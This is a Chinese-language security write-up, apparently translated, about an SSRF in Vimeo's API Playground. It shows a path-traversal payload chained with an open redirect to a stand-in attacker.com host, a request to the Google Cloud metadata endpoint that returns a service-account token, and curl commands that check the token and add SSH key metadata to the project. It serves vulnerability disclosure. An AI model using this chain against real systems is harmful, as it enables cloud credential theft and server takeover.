具有代码执行潜力的Vimeo SSRF
最近我在Vimeo上发现了一个半响应的SSRF代码执行的可能性。这篇博客文章解释了我是如何找到并利用它的。
背景
Vimeo为其API提供了一个名为API Playground的API控制台,使用此Web应用程序发出的请求是从服务器端完成的。以下面的请求为例:
这是它的基本请求
该请求应该是服务器端GET请求
https://api.vimeo.com/users/{user_id}/videos/{video_id}
如果仔细观察请求,我们在这里控制了很多东西,首先uri
是在端点上命中的终点参数,即在这种情况下是/users/{user_id}/videos/{video_id}
,请求方法,即在这种情况下设置为GET
,params应该是post参数if请求方法是POST。user_id和video_id是一种变量,其值在segments
参数中定义。
在服务器端进行的HTTP请求中的路径遍历
我首先尝试将URI参数更改为自定义路径,但URI中的任何更改都将导致403,意味着它们允许使用一组API端点。但是,更改user_id和videos_id等变量的值是可能的,因为它们是有意的,因为这些值反映在URL的路径中。通过传递../../../将导致对api.vimeo.com根目录的请求,下面是发生的事情:
URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)
结果输出: https://api.vimeo.com/attacker
服务器端HTTP请求中的路径遍历
正如您在响应中看到的,列出了api.vimeo.com的所有端点,如果您发出经过身份验证的请求(带有授权头),则该端点是api.vimeo.com的根响应。
现在怎么办?我们仍然在api.vimeo.com主机上,我们如何摆脱它?
我认为这是在遵循HTTP30X重定向原则,这是一个很长的故事,需要一些逻辑思考。
回到重点,现在我知道这是在遵循HTTP重定向,我们很好地向前推进,我们需要一个开放的重定向,以便我们可以将服务器重定向到我们的控制资产
新的发现
一分钟后我在其返回的内容里发现,在api.vimeo.com上遇到了一个端点,它使用我们在vimeo.com上控制的路径重定向到vimeo.com。
https://api.vimeo.com/m/something
现在我们有了一个广泛的范围来找到一个开放的重定向,我在vimeo.com上有一个不太有用的开放重定向,我不会透露它的细节,但我们假设它是这样的:
https://vimeo/vulnerable/open/redirect?url=https://attacker.com
这会使302重定向到攻击者网站上。
如何使用URL重定向到攻击者网站?
将服务器重定向到我们受控攻击网站的最终payload是:
../../../m/vulnerable/open/redirect?url=https://attacker.com
在video_id中传递此值将以这种方式解析URL:
https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com
来看看哪个已经解析完成吧!
https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com
遵循并进行HTTP重定向
https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com
进行了另一次HTTP重定向
SSRF已实现,有关重定向的详细信息
服务器需要JSON响应并对其进行解析而且需要显示响应。
利用..
由于Vimeo基础设施在谷歌云上,我的第一次尝试是访问谷歌API,我采用了国外安全研究员公开的方法。这里不便抛出链接。
这里它为我们提供了帐户token:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }
token的使用范围:
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA 返回值: { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }
然后我可以使用此令牌将我的公共SSH密钥添加到实例,然后通过我的私钥连接:
$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]} 返回值: { “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}
然后……
bingo!!成功。
但是,ssh端口仅在内部网络上打开:(但这足以证明内部可以升级到shell访问。
Kubernetes密钥也是从元数据API中提取的,但出于某种原因,我无法使用它们。
这就比较尴尬了。